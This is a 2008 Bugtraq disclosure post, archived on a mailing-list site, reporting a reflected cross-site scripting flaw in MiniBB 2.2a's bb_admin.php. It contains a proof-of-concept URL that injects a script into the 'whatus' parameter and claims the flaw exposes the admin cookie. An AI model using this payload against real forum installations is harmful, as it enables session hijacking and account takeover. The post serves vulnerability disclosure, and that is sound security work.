bugtraq - Minibb 2.2a XSS Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20080428095702.23473.qmail@securityfocus.com>
Date: 28 Apr 2008 09:57:02 -0000
From: irancrash@...il.com
To: bugtraq@...urityfocus.com
Subject: Minibb 2.2a XSS Vulnerability

#####################################################################################
####                               Minibb 2.2a                                   ####
####                            XSS Vulnerability                                ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash Or Khashayar Fereidani)                                 #
#Discovered by : IRCRASH (Dr.Crash Or Khashayar Fereidani)                          #
#IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - Malc0de - R3d.w0rm - Rasool Nasr
#####################################################################################
#                                                                                   #
#Script Download : http://www.minibb.net/                                           #
#                                                                                   #
#####################################################################################
#                                   < XSS >                                         #
#XSS Address : http://example/bb_admin.php?action=searchusers2&whatus=" /> <script>alert(document.cookie)</script>&searchus=id
#                                                                                   #
# You Can Get Admin Cookie With This Vuln ....                                      #
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
#####################################TNX GOD#########################################